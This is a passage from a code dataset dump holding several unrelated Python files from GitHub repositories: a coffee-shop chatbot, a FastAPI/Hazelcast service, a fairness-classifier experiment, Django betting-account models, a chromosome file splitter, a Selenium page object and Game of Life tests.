drink[\"size\"] == \"medium\":\n\t\t\treturn \"4 dollars for medium.\"\n\t\tif drink[\"size\"] == \"large\":\n\t\t\treturn \"6 dollars for large.\"\n\t\tif wordlist[2] == \"coffee\" or wordlist[2] == \"tea\":\n\t\t\treturn \"Which size?\"\n\t\treturn \"It is not avaliable yet.\"\n\n\tif \"small\" in wordlist:\n\t\tdrink[\"size\"] = \"small\"\n\t\treturn \"Sure, can I have your name?\"\n\tif \"medium\" in wordlist:\n\t\tdrink[\"size\"] = \"medium\"\n\t\treturn \"Sure, can I have your name?\"\n\tif \"large\" in wordlist:\n\t\tdrink[\"size\"] = \"large\"\n\t\treturn \"Sure, can I have your name?\"\n\tif \"wait\" in wordlist:\n\t\t# CYCLE FEATURE\n\t\treturn waitCycle() + \" Would you like to pay with \" + payCycle() + \" ?\";\n\tif \"cash\" in wordlist:\n\t\t# MEMORY FEATURE\n\t\tmem[\"paymnet\"] = \"cash\"\n\t\tif drink[\"type\"] == \"\":\n\t\t\treturn \"You have not ordered yet.\"\n\t\treturn \"Here is your receipt and your \" + drink[\"syrup\"] + \" \" + drink[\"type\"] + \".\"\n\tif \"card\" in wordlist:\n\t\t# MEMORY FEATURE\n\t\tmem[\"paymnet\"] = \"card\"\n\t\tif drink[\"type\"] == \"\":\n\t\t\treturn \"You have not ordered yet.\"\n\t\treturn \"Here is your \" + drink[\"syrup\"] + \" \" + drink[\"type\"] + \".\"\n\tif \"hurry\" in wordlist or \"faster\" in wordlist:\n\t\t# RANDOM FEATURE\n\t\treturn \"Do not worry. \" + randomWords()\n\tif \"thank\" in wordlist or \"thanks\" in wordlist:\n\t\t# MEMORY FEATURE\n\t\tif drink[\"type\"] == \"\":\n\t\t\treturn \"You are welcome!\"\n\t\treturn \"You are welcome! Here is your \" + drink[\"type\"] + \". \"\n\tif wordlist[0] == \"what\":\n\t\t# MEMORY FEATURE\n\t\tif drink[\"type\"] == \"coffee\" or drink[\"type\"] == \"tea\":\n\t\t\treturn \"You just ordered \" + drink[\"type\"] + \".\"\n\tif \"no\" in wordlist:\n\t\treturn \"Let me check, could you please repeat your order? Tea or Coffee.\"\n\tif \"tea\" in wordlist and drink[\"type\"] == \"\":\n\t\tdrink[\"type\"] = \"tea\"\n\t\treturn \"Sure. Whant some lemonade?\"\n\tif wordlist[0:4] == [\"have\", \"a\", \"good\", \"day\"]:\n\t\treturn \"you too\"\n\treturn introduce();\n\n\n\n\n'''\nRANDOM\n'''\nrandom_introduction = [\"Nice to see you.\",\n\t\t\t\t\t\t\"Nice weather isn't it?\",\n\t\t\t\t\t\t\"Do you want some drinks?\"]\ndef randomIntroduction():\n\tcurr = random.randint(0, 2)\n\treturn random_introduction[curr]\n\nsome_random_sentense = [\"It will be good.\", \n\t\t\t\t\t\t\"I'm pro.\", \n\t\t\t\t\t\t\"Count on me, you will like it.\", \n\t\t\t\t\t\t\"Good coffee, good day.\"]\ndef randomWords():\n\tcurr = random.randint(0, 3)\n\treturn some_random_sentense[curr]\n\n'''\nCYCLE\n'''\nwait_index = 0\nwaitlist = [\"It is busy today, you may have to wait 20 minitus.\",\n\t\t\t\"Just 2 minitus, it will be ready for you.\",\n\t\t\t\"Em, around 5 minitus.\"]\ndef waitCycle():\n\tglobal wait_index\n\tglobal waitlist\n\twait_index = (wait_index + 1) % 3\n\treturn waitlist[wait_index]\n\nstyle_index = 0\nstyle = [\"lemonade\", \"caramel\", \"vanilla\"]\ndef cycleSyrup():\n\tglobal style_index\n\tglobal style\n\tstyle_index = (style_index + 1) % 3\n\treturn style[style_index]\n\n\npay_index = 0\npayments = [\"credit card\", \"cash\", \"check\"]\ndef payCycle():\n\tglobal pay_index\n\tglobal payments\n\tpay_index = (pay_index + 1) % 3\n\treturn payments[pay_index]\n","repo_name":"DanWang1230/Artifical_intelligence","sub_path":"hw1/fany23_agent.py","file_name":"fany23_agent.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"38045037873","text":"import asyncio\r\nimport uvicorn\r\nimport hazelcast\r\nfrom fastapi import FastAPI\r\nfrom pydantic import BaseModel\r\nfrom typing import Dict\r\nimport requests\r\nimport uuid\r\n\r\n# Hazelcast client configuration\r\nclient = hazelcast.HazelcastClient(\r\n cluster_members=[\r\n \"127.0.0.1:5701\"\r\n ]\r\n)\r\n\r\n# Get the Distributed Map from Hazelcast Cluster.\r\ndistributed_map = client.get_map(\"distributed-map\")\r\n\r\nclass Message(BaseModel):\r\n msg: str\r\n\r\napp = FastAPI()\r\n\r\n@app.post(\"/message\")\r\nasync def create_message(message: Message):\r\n unique_id = str(uuid.uuid4())\r\n await distributed_map.set(unique_id, message.msg)\r\n requests.post('http://localhost:8001/log', data = {'uuid':unique_id, 'msg':message.msg})\r\n return {'UUID':unique_id, 'msg':message.msg}\r\n\r\n@app.get(\"/message\")\r\nasync def get_message():\r\n all_values = await distributed_map.values()\r\n messages_response = requests.get('http://localhost:8002/message')\r\n return {'logs': all_values, 'message': messages_response.text}\r\n\r\nif __name__ == \"__main__\":\r\n uvicorn.run(app, host=\"0.0.0.0\", port=5000)\r\n","repo_name":"mrotonik/Hazelcast","sub_path":"facade-service.py","file_name":"facade-service.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"31864964619","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\nimport sys\nsys.path.append(\"../\")\nfrom aif360.algorithms.inprocessing import GerryFairClassifier\nfrom aif360.algorithms.inprocessing.gerryfair.clean import array_to_tuple\nfrom aif360.algorithms.preprocessing.optim_preproc_helpers.data_preproc_functions import load_preproc_data_adult,\\\nload_preproc_data_compas, load_preproc_data_german, load_preproc_data_credit \nfrom sklearn import svm\nfrom sklearn import tree\nfrom sklearn.kernel_ridge import KernelRidge\nfrom sklearn import linear_model\nfrom aif360.metrics import BinaryLabelDatasetMetric\nfrom IPython.display import Image\nimport pickle\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import confusion_matrix\nimport time \nfrom metric import metric, cd\n\ndef Adult():\n protected = 'sex'\n privileged_groups = [{'sex': 1}]\n unprivileged_groups = [{'sex': 0}]\n data_set = load_preproc_data_adult(['sex'])\n dataset_orig_train, dataset_orig_test = data_set.split([0.7], shuffle=False)\n index = data_set.feature_names.index(protected)\n\n s = time.time()\n max_iterations = 100\n C = 100\n print_flag = True\n gamma = .005\n predictor = linear_model.LinearRegression()\n fair_model = GerryFairClassifier(C=C, printflag=print_flag, predictor=predictor, gamma=gamma, fairness_def='FN',\n max_iters=max_iterations, heatmapflag=False)\n # fit method\n fair_model.fit(dataset_orig_train, early_termination=True)\n dataset_yhat = fair_model.predict(dataset_orig_test, threshold=0.5)\n e = time.time()\n metric(index, dataset_orig_test.features, dataset_orig_test.labels, dataset_yhat.labels)\n y_cd = cd(index, dataset_orig_test, dataset_yhat.labels, fair_model)\n \n train, test = load_preproc_data_adult(['sex']).split([0.7], shuffle=False) \n test, _ = test.convert_to_dataframe(de_dummy_code=True)\n test['pred'] = dataset_yhat.labels\n test.to_csv(\"results_Kearns/adult_test_repaired.csv\", index=False)\n np.savetxt(\"results_Kearns/adult_test_repaired_cd.csv\", y_cd, delimiter=\",\")\n \n \ndef Compas(f1='', f2='', fname=None):\n protected = 'Race'\n privileged_groups = [{'Race': 1}]\n unprivileged_groups = [{'Race': 0}]\n dataset_orig = load_preproc_data_compas(['Race'], fname=fname)\n index = dataset_orig.feature_names.index(protected)\n dataset_orig_train, dataset_orig_test = dataset_orig.split([0.7], shuffle=False)\n\n s = time.time()\n max_iterations = 100\n C = 100\n print_flag = True\n gamma = .005\n #predictor = linear_model.LinearRegression()\n fair_model = GerryFairClassifier(C=C, printflag=print_flag, gamma=gamma, fairness_def='FP',\n max_iters=max_iterations, heatmapflag=False)\n # fit method\n fair_model.fit(dataset_orig_train, early_termination=True)\n dataset_yhat = fair_model.predict(dataset_orig_test, threshold=0.9898)\n e = time.time()\n metric(index, dataset_orig_test.features, dataset_orig_test.labels, dataset_yhat.labels)\n y_cd = cd(index, dataset_orig_test, dataset_yhat.labels, fair_model)\n \n train, test = load_preproc_data_compas(['Race'], fname=fname).split([0.7], shuffle=False) \n test, _ = test.convert_to_dataframe(de_dummy_code=True)\n test['pred'] = dataset_yhat.labels\n test.to_csv(f1+\"results_Kearns/compas_test\"+f2+\".csv\", index=False)\n np.savetxt(f1+\"results_Kearns/compas_test_repaired\"+f2+\"_cd.csv\", y_cd, delimiter=\",\")\n \n \n \ndef German():\n protected = 'Sex'\n privileged_groups = [{'Sex': 1}]\n unprivileged_groups = [{'Sex': 0}]\n dataset_orig = load_preproc_data_german(['Sex'])\n index = dataset_orig.feature_names.index(protected)\n dataset_orig_train, dataset_orig_test = dataset_orig.split([0.7], shuffle=False)\n\n s = time.time()\n max_iterations = 100\n C = 100\n print_flag = True\n gamma = .005\n #predictor = linear_model.LinearRegression()\n fair_model = GerryFairClassifier(C=C, printflag=print_flag, gamma=gamma, fairness_def='FP',\n max_iters=max_iterations, heatmapflag=False)\n # fit method\n fair_model.fit(dataset_orig_train, early_termination=True)\n dataset_yhat = fair_model.predict(dataset_orig_test, threshold=0.98)\n e = time.time()\n metric(index, dataset_orig_test.features, dataset_orig_test.labels, dataset_yhat.labels)\n y_cd = cd(index, dataset_orig_test, dataset_yhat.labels, fair_model)\n \n train, test = load_preproc_data_german(['Sex']).split([0.7], shuffle=False) \n test, _ = test.convert_to_dataframe(de_dummy_code=True)\n test['pred'] = dataset_yhat.labels\n test.to_csv(\"results_Kearns/german_test_repaired.csv\")\n np.savetxt(\"results_Kearns/german_test_repaired_cd.csv\", y_cd, delimiter=\",\")\n \n \n \ndef Kearns(dataset):\n \n if dataset == 'adult':\n Adult()\n elif dataset == 'compas':\n Compas()\n elif dataset == 'german':\n German()\n \n\n\n","repo_name":"maliha93/Fairness-Analysis-Code","sub_path":"Inprocessing/Kearns/Kearns.py","file_name":"Kearns.py","file_ext":"py","file_size_in_byte":4930,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"37123255431","text":"# -*- coding: utf-8 -*-\n\nfrom openerp import models, fields, api\n\n\nclass ProjectTaskMilestoneUpdateLog(models.Model):\n _name = 'project.task.milestone.update.log'\n\n timestamp = fields.Datetime('Timestamp')\n milestone_line_id = fields.Many2one('project.task.milestone.forecast', 'Milestone line')\n updated_field = fields.Selection([('forecast', 'Forecast'), ('actual', 'Actual')], 'Updated field')\n","repo_name":"nathchan/odoo_project_extensions","sub_path":"project_task_forecasts/models/task_milestone_update_log.py","file_name":"task_milestone_update_log.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"19242494700","text":"from django.db import models\n# from django.contrib.auth.models import User\nfrom core.models import TimeStamp,BetSettingVar\nfrom django.conf import settings\nfrom .exceptions import NegativeTokens, NotEnoughTokens # LockException,\nfrom decimal import Decimal\nimport math\nfrom core.models import set_up\nfrom django.core.validators import MinValueValidator\n# from .functions import log_record ##NO circular import\n\nclass Account(TimeStamp):\n user = models.OneToOneField(settings.AUTH_USER_MODEL, on_delete=models.CASCADE,related_name='user_accounts',blank =True,null=True)\n token_count = models.IntegerField(default=0)\n\n balance = models.DecimalField(max_digits=12, decimal_places=2, default=0)\n actual_balance = models.DecimalField(max_digits=12, decimal_places=2, default=0)\n refer_balance = models.DecimalField(max_digits=12, decimal_places=2, default=0)\n trial_balance = models.DecimalField(max_digits=12, decimal_places=2, default=50000)\n active = models.BooleanField(default= True)\n\n def __str__(self): \n return 'Account No: {0} Balance: {1}'.format(self.user,self.balance)\n class Meta:\n db_table = \"d_accounts\"\n ordering = ('-user_id',)\n\n def add_tokens(self, number):\n \"\"\"Increase user tokens amount watch over not to use negative value.\n\n self -- user whose token_count field gonna be increased\n number -- tokens amount, must be integer\n\n In case negative number no changes happened.\n \"\"\"\n int_num = int(number)\n if int_num > 0:\n self.token_count += int_num\n \n def decrease_tokens(self, number):\n \"\"\"Decrease user tokens amount watch over not to set negative value.\n\n Keyword arguments:\n self -- user whose token_count field is to be decreased\n number -- tokens amount, must be integer, cannot be greater\n than token_count\n\n In case number is greater than user token_count NegativeTokens\n exception raised, otherwise simply decrease token_count with number.\n \"\"\"\n int_num = int(number)\n if self.token_count - int_num >= 0:\n self.token_count -= int_num\n else:\n raise NegativeTokens()\n\nclass Curr_Variable(TimeStamp):\n \"\"\"Store currencies with specified name and rate to token amount.\"\"\"\n\n name = models.CharField(max_length=30,blank =True,null=True)\n curr_unit = models.DecimalField(max_digits=12, decimal_places=5,default= 1)\n\n def __str__(self):\n \"\"\"Simply present currency name and it's curr_unit.\"\"\"\n return str(self.curr_unit)\n\n # @classmethod\n # def update_curr_unit(cls,value):\n # try:\n # cls.objects.get(id=1).update(curr_unit= value)\n # except Exception as e :\n # print(f'update_curr_unit{e}')\n \n\nclass Currency(TimeStamp):\n \"\"\"Store currencies with specified name and rate to token amount.\"\"\"\n common_var = models.ForeignKey(Curr_Variable, on_delete=models.CASCADE,related_name='curr_vars',blank =True,null=True)\n\n name = models.CharField(max_length=30)\n rate = models.DecimalField(max_digits=6,decimal_places=5,blank=True,null= True)\n amount_equip_to_one_ksh =models.FloatField(blank=True,null= True)\n # curr_unit = models.DecimalField(help_text= 'set up variable', max_digits=6, decimal_places=2,default=0,blank=True,null= True)\n\n def __str__(self):\n \"\"\"Simply present currency name and it's rate.\"\"\"\n return self.name + \" - \" + str(self.rate)\n\n @classmethod\n def get_tokens_amount(cls, currency_name, value):\n \"\"\"Convert value in specified currency to tokens.\n\n Keyword arguments:\n cls -- enable connect to Currency model,\n currency_name -- allow to get specified currency,\n value -- float value represents amount of real money,\n\n Could raise Currency.DoesNotExist exception.\n Token value is rounded down after value multiplication by rate.\n \"\"\"\n curr = cls.objects.get(name=currency_name)\n tokens = value * float(curr.rate)\n tokens_floor = math.floor(tokens)\n return tokens_floor\n\n @classmethod\n def get_withdraw_amount(cls, currency_name, tokens):\n \"\"\"Convert tokens to amount of money in specified currency.\n\n Keyword arguments:\n cls -- enable connect to Currency model,\n currency_name -- allow to get specified currency,\n tokens -- integer value represents number of tokens,\n\n Could raise Currency.DoesNotExist exception and NegativeTokens\n exception.\n Returned object is casted to Decimal with two places precision.\n \"\"\"\n curr = cls.objects.get(name=currency_name)\n if tokens < 0:\n raise NegativeTokens()\n\n value = Decimal(round(tokens / float(curr.rate), 2))\n return value\n\n # @classmethod\n # def update_curr_unit(cls,value):\n # try:\n # cls.objects.update(curr_unit= value)\n # except Exception as e :\n # print(f'update_curr_unit{e}')\n \n @property\n def to_token_rate(self):\n print('Check')\n print(set_up['curr_unit'])\n try:\n return 1/(float(self.amount_equip_to_one_ksh) * float(self.common_var.curr_unit))\n except Exception as e:\n return e\n class Meta:\n db_table = \"d_currency\"\n \n\n\nclass RefCredit(TimeStamp):\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE,related_name='ref_accountcredit_users',blank =True,null=True)\n amount = models.DecimalField(max_digits=6, decimal_places=2, default=0)\n current_bal = models.DecimalField(max_digits=12, decimal_places=2,blank =True,null=True)\n credit_from = models.CharField(max_length=200 ,blank =True,null=True)\n closed = models.BooleanField(blank =True ,null= True)\n has_record = models.BooleanField(blank =True ,null= True)\n approved = models.BooleanField(default =False,blank =True ,null= True)\n class Meta:\n db_table = \"d_refcredits\"\n \n @property\n def refer_balance(self):\n return float(Account.objects.get(user_id = self.user_id).refer_balance)\n\n @property\n def min_redeam(self):\n return BetSettingVar.objects.get(id=1).min_redeem_refer_credit #auto create\n\n def update_refer_balance(self):\n try:\n new_bal = self.refer_balance + float(self.amount)\n self.current_bal = new_bal\n Account.objects.filter(user_id= self.user_id).update(refer_balance= new_bal)\n self.closed = True\n \n except Exception as e:\n print('update_refer_balance',e)\n pass\n \n def tranfer_to_main_account(self):\n try:\n main_balance= current_account_bal_of(self.user_id)#F \n main_new_bal = self.refer_balance + main_balance\n\n Account.objects.filter(user_id= self.user_id).update(refer_balance= 0)\n update_account_bal_of(self.user_id,main_new_bal) #F\n log_record(self.user_id,self.refer_balance,'RDM') #F\n self.closed = True\n\n except Exception as e:\n print('tranfer_to_main_account2',e)\n pass\n self.closed = True \n \n def save(self, *args, **kwargs):\n\n ''' Overrride internal model save method to update balance on staking '''\n # if not self.closed:\n try:\n if not self.closed:\n if self.refer_balance < self.min_redeam:\n print('Usual Refer Cash')\n self.update_refer_balance()\n\n elif self.refer_balance > self.min_redeam and self.approved:\n print('Updating Account of Refer CASH!')\n self.tranfer_to_main_account()\n\n if not self.has_record:\n log_record(self.user_id,self.amount,'RC')\n\n except Exception as e:\n print('RefCredit:',e)\n return \n\n super().save(*args, **kwargs)\n\nclass TransactionLog(TimeStamp):\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE,related_name='user_transactions_logs',blank =True,null=True) # NOT CASCADE #CK\n amount = models.DecimalField(('amount'), max_digits=12, decimal_places=2, default=0)\n now_bal = models.DecimalField(('now_bal'), max_digits=12, decimal_places=2, default=0)\n trans_type = models.CharField(max_length=100 ,blank =True,null=True)\n class Meta:\n db_table = \"d_trans_logs\"\n ordering = ('-created_at',)\n \n def __str__(self):\n return 'User {0}:{1}'.format(self.user,self.amount) \n\n @property\n def account_bal(self):\n return current_account_bal_of(self.user_id) #F Account.objects.get(user_id =self.user_id).balance\n \n\n def save(self, *args, **kwargs):\n ''' Overrride internal model save method to update balance on deposit '''\n if not self.pk:\n try:\n self.now_bal = self.account_bal \n except Exception as e:\n print('TransactionLog ERROR:',e)\n pass\n\n super().save(*args, **kwargs)\n\nclass CashDeposit(TimeStamp):\n \"\"\"Represent single money deposit made by user using 'shop'.\n Define fields to store amount of money, using Decimal field with\n two places precision and maximal six digits, time of deposit creation,\n and connect every deposit with user and used currency.\n \"\"\"\n # amount = models.DecimalField(('amount'), max_digits=12, decimal_places=2, default=0)\n amount = models.DecimalField(max_digits=6, decimal_places=2)\n deposited = models.BooleanField(blank =True ,null= True)\n has_record = models.BooleanField(blank =True ,null= True)\n\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n related_name='user_deposits',blank =True,null=True)\n\n currency_id = models.ForeignKey(\n Currency,\n on_delete=models.CASCADE,\n blank =True,null=True\n )\n\n def __str__(self):\n \"\"\"Simply present name of user connected with deposit and amount.\"\"\"\n return self.user.username + \" made \" + str(self.amount) + \" deposit\"\n\n class Meta:\n db_table = \"d_deposits\"\n \n @property\n def current_bal(self): \n return current_account_bal_of(self.user_id)\n \n\n def save(self, *args, **kwargs):\n ''' Overrride internal model save method to update balance on deposit '''\n # if self.pk:\n try:\n\n if not self.deposited:\n ctotal_balanc = current_account_bal_of(self.user_id) #F\n new_bal = ctotal_balanc + int(self.amount)\n update_account_bal_of(self.user_id,new_bal) #F\n self.deposited = True\n\n try:\n if not self.has_record:\n log_record(self.user_id,self.amount,'Shop Deposit')\n self.has_record = True\n except Exception as e:\n pass\n \n except Exception as e:\n print('DEPOSIT ERROR',e)# issue to fix on mpesa deposit error\n return\n\n super().save(*args, **kwargs)\n\n\nclass CashWithrawal(TimeStamp): # sensitive transaction\n \"\"\"Represent user's money withdrawal instance.\n Define fields to store amount of money, using Decimal field with\n two places precision and maximal six digits, time when withdraw is\n signaled and connect every withdraw with user and used currency.\n \"\"\"\n # amount = models.DecimalField(('amount'), max_digits=12, decimal_places=2, default=0)\n amount = models.DecimalField(max_digits=6, decimal_places=2)\n address = models.CharField(max_length=100)\n \n approved = models.BooleanField(default=False,blank= True,null =True)\n withrawned = models.BooleanField(blank= True,null =True)\n has_record = models.BooleanField(blank= True,null =True)\n active = models.BooleanField(default =True,blank= True,null =True)\n\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n related_name='user_withrawals',blank =True,null=True\n ) \n currency_id = models.ForeignKey(\n Currency,\n on_delete=models.CASCADE,\n )\n\n\n def __str__(self):\n \"\"\"Simply present name of user connected with withdraw and amount.\"\"\"\n return self.user.username + \" want to withdraw \" + str(self.amount)\n\n class Meta:\n db_table = \"d_withrawals\"\n\n @property\n def user_account(self):\n return current_account_bal_of(self.user)# Account.objects.get(user_id =self.user_id)\n \n\n @property # TODO no hrd coding\n def charges_fee(self):\n if self.amount <=100:\n return 0\n elif self.amount <=200:\n return 0\n else:\n return 0\n\n def withraw_status(self):\n if not self.approved:\n return 'pending'\n elif self.approved and self.withrawned:\n return 'success'\n else:\n return 'failed'\n\n def save(self, *args, **kwargs):\n ''' Overrride internal model save method to update balance on deposit '''\n account_is_active = self.user_account.active\n ctotal_balanc = self.user_account.balance\n\n if self.active: # edit prevent # avoid data ma\n if account_is_active:# withraw cash ! or else no cash!\n try:\n if not self.withrawned and self.approved:# stop repeated withraws and withraw only id approved by ADMIN \n charges_fee = self.charges_fee # TODO settings\n\n if ctotal_balanc >= ( self.amount + charges_fee):\n try: \n new_bal = ctotal_balanc - self.amount - charges_fee\n update_account_bal_of(self.user_id,new_bal) # F\n self.withrawned = True # transaction done\n\n try:\n if not self.has_record:\n log_record(self.user_id,self.amount,'Withrawal')\n self.has_record = True\n self.active = False\n except Exception as e:\n print('TRANSWITH:',e)\n pass\n\n except Exception as e:\n print('ACCC',e)\n \n except Exception as e: \n print('CashWithRawal:',e)\n return # incase of error /No withrawing should happen\n # pass\n if self.approved: #and self.withrawned and self.has_record:\n self.active =False\n\n super().save(*args, **kwargs)\n\n# Helper functions\n\ndef log_record(user_id,amount,trans_type):# F1\n TransactionLog.objects.update_or_create(user_id =user_id,amount= amount ,trans_type = trans_type)\n\ndef current_account_bal_of(user_id): #F2\n try:\n return float(Account.objects.get(user_id =user_id).balance)\n except Exception as e:\n return e\n\ndef update_account_bal_of(user_id,new_bal): #F3\n try:\n if new_bal >= 0:\n Account.objects.filter(user_id =user_id).update(balance= new_bal)\n else:\n log_record(user_id,0,'Account Error') # REMOVE\n except Exception as e:\n return e\n\ndef refer_credit_create(credit_to_user,credit_from_username,amount):\n try:\n RefCredit.objects.update_or_create(user = credit_to_user,credit_from = credit_from_username, amount= amount)\n except Exception as e:\n print(f'RRR{e}')\n","repo_name":"gibeongideon/daruwheel","sub_path":"account/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"19719305131","text":"#!/usr/bin/env python\n\n# Chromosome Splitter\n# alisonn - adapted from ebrown\n# Input: a bed file (resulting from coverageBed) \n# Output: temp coverage files for each chromosome \n# Method: Create a dictionary [chr --> chr_file.txt] and write to each file given [chr]\n\nimport sys\nimport os\n\ninfh = sys.argv[1]\ninfile = open(infh, 'r')\n\n# list of chromosomes\nchromo = [\"2L\", \"2R\", \"3L\", \"3R\", \"X\", \"Y\", \"4\"]\n# dict [ chr --> chr.tmp file for writing] \nchrFileDict = {\n c: open(c + '.tmp', 'w') for c in chromo \n}\n\nfor line in infile:\n if line == '': break\n line = line.strip()\n split = line.split('\\t')\n chrom = split[0]\n if chrom not in chromo:\n continue\n if chrom in chromo:\n chrFileDict[chrom].write(str(line) + '\\n')\n\ninfile.close()\n# close all temp files\nfor f in chrFileDict.values():\n f.close()\n\n# Done :-)\n","repo_name":"alisonn/python-scripting","sub_path":"chr_splitter.py","file_name":"chr_splitter.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"39580010913","text":"# -*- coding: utf-8 -*-\n\"\"\"Domestic - Domestic Contact us - Great.gov.uk account\"\"\"\nimport logging\nfrom types import ModuleType\nfrom typing import List\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webdriver import WebDriver\n\nfrom directory_tests_shared import URLs\nfrom directory_tests_shared.enums import PageType, Service\nfrom pages import ElementType\nfrom pages.common_actions import (\n Selector,\n check_url,\n choose_one_form_option,\n choose_one_form_option_except,\n find_element,\n get_selectors,\n go_to_url,\n take_screenshot,\n)\nfrom pages.domestic import (\n contact_us_short_domestic,\n contact_us_triage_great_account_dedicated_support_content as SUPPORT_CONTENT,\n)\n\nNAME = \"Great.gov.uk account\"\nSERVICE = Service.DOMESTIC\nTYPE = PageType.DOMESTIC_CONTACT_US\nURL = URLs.CONTACT_US_GREAT_ACCOUNT.absolute\nPAGE_TITLE = \"Welcome to great.gov.uk\"\n\nSUBMIT_BUTTON = Selector(\n By.CSS_SELECTOR, \"div.exred-triage-form button\", type=ElementType.BUTTON\n)\nSELECTORS = {\n \"form\": {\n \"itself\": Selector(By.CSS_SELECTOR, \"#lede form\"),\n \"i have not received an email confirmation\": Selector(\n By.CSS_SELECTOR,\n \"input[value='no-email-confirmation']\",\n type=ElementType.RADIO,\n is_visible=False,\n ),\n \"i need to reset my password\": Selector(\n By.CSS_SELECTOR,\n \"input[value='password-reset']\",\n type=ElementType.RADIO,\n is_visible=False,\n ),\n \"my companies house login is not working\": Selector(\n By.CSS_SELECTOR,\n \"input[value='companies-house-login']\",\n type=ElementType.RADIO,\n is_visible=False,\n ),\n \"i do not know where to enter my verification code\": Selector(\n By.CSS_SELECTOR,\n \"input[value='verification-code']\",\n type=ElementType.RADIO,\n is_visible=False,\n ),\n \"i have not received my letter containing the verification code\": Selector(\n By.CSS_SELECTOR,\n \"input[value='no-verification-letter']\",\n type=ElementType.RADIO,\n is_visible=False,\n ),\n \"i have not received a verification code\": Selector(\n By.CSS_SELECTOR,\n \"input[value='verification-missing']\",\n type=ElementType.RADIO,\n is_visible=False,\n ),\n \"other\": Selector(\n By.CSS_SELECTOR,\n \"input[value='other']\",\n type=ElementType.RADIO,\n is_visible=False,\n ),\n \"submit\": SUBMIT_BUTTON,\n \"back\": Selector(\n By.CSS_SELECTOR,\n \"form button[name='wizard_goto_step']\",\n type=ElementType.LINK,\n ),\n }\n}\n\nPOs = {\n \"i have not received an email confirmation\": SUPPORT_CONTENT,\n \"i need to reset my password\": SUPPORT_CONTENT,\n \"my companies house login is not working\": SUPPORT_CONTENT,\n \"i do not know where to enter my verification code\": SUPPORT_CONTENT,\n \"i have not received my letter containing the verification code\": SUPPORT_CONTENT,\n \"i have not received a verification code\": SUPPORT_CONTENT,\n \"other\": contact_us_short_domestic,\n}\n\n\ndef visit(driver: WebDriver):\n go_to_url(driver, URL, NAME)\n\n\ndef should_be_here(driver: WebDriver):\n check_url(driver, URL)\n\n\ndef should_see_form_choices(driver: WebDriver, names: List[str]):\n radio_selectors = get_selectors(SELECTORS[\"form\"], ElementType.RADIO)\n for name in names:\n radio_selector = radio_selectors[name.lower()]\n find_element(driver, radio_selector, element_name=name, wait_for_it=False)\n logging.debug(\n f\"All expected form choices: '{names}' are visible on \" f\"{driver.current_url}\"\n )\n\n\ndef pick_radio_option_and_submit(driver: WebDriver, name: str) -> ModuleType:\n radio_selectors = get_selectors(SELECTORS[\"form\"], ElementType.RADIO)\n choose_one_form_option(driver, radio_selectors, name)\n take_screenshot(driver, \"Before submitting the form\")\n button = find_element(\n driver, SUBMIT_BUTTON, element_name=\"Submit button\", wait_for_it=False\n )\n button.click()\n take_screenshot(driver, \"After submitting the form\")\n return POs[name.lower()]\n\n\ndef pick_random_radio_option_and_submit(driver: WebDriver, ignored: List[str]):\n radio_selectors = get_selectors(SELECTORS[\"form\"], ElementType.RADIO)\n selected = choose_one_form_option_except(driver, radio_selectors, ignored)\n take_screenshot(driver, \"Before submitting the form\")\n button = find_element(\n driver, SUBMIT_BUTTON, element_name=\"Submit button\", wait_for_it=False\n )\n button.click()\n take_screenshot(driver, \"After submitting the form\")\n return POs[selected.lower()]\n","repo_name":"uktrade/directory-tests","sub_path":"tests/browser/pages/domestic/contact_us_triage_great_account.py","file_name":"contact_us_triage_great_account.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"861576687","text":"\"\"\"\nAny live cell with fewer than two live neighbours dies, as if by underpopulation.\nAny live cell with two or three live neighbours lives on to the next generation.\nAny live cell with more than three live neighbours dies, as if by overpopulation.\nAny dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.\n\nOr:\n\nAny live cell with two or three live neighbours survives.\nAny dead cell with three live neighbours becomes a live cell.\nAll other live cells die in the next generation. Similarly, all other dead cells stay dead.\n\"\"\"\n\n\nfrom hamcrest import *\n\nfrom gol.gol import Game, dead_cell, living_cell\n\n\nclass TestLivigCellSurvival:\n _cell = living_cell()\n\n def test_it_dies_on_one_living_neighbour(self):\n (self._cell.next_generation([living_cell()]).is_alive(), is_(False))\n\n def test_it_survives_on_two_living_neighbours(self):\n assert_that(\n self._cell.next_generation([living_cell(), living_cell()]).is_alive(),\n is_(True),\n )\n\n def test_it_dies_on_one_living_and_one_dead_neighbour(self):\n assert_that(\n self._cell.next_generation([living_cell(), dead_cell()]).is_alive(),\n is_(False),\n )\n\n def test_it_survives_on_three_living_neighbours(self):\n assert_that(\n self._cell.next_generation(\n [living_cell(), living_cell(), living_cell()]\n ).is_alive(),\n is_(True),\n )\n\n def test_it_dies_on_four_living_neighbours(self):\n assert_that(\n self._cell.next_generation(\n [living_cell(), living_cell(), living_cell(), living_cell()]\n ).is_alive(),\n is_(False),\n )\n\n\nclass TestDeadCellResurrectio:\n _cell = dead_cell()\n\n def test_it_remains_dead_with_two_living_neighbours(self):\n assert_that(\n self._cell.next_generation([living_cell(), living_cell()]).is_alive(),\n 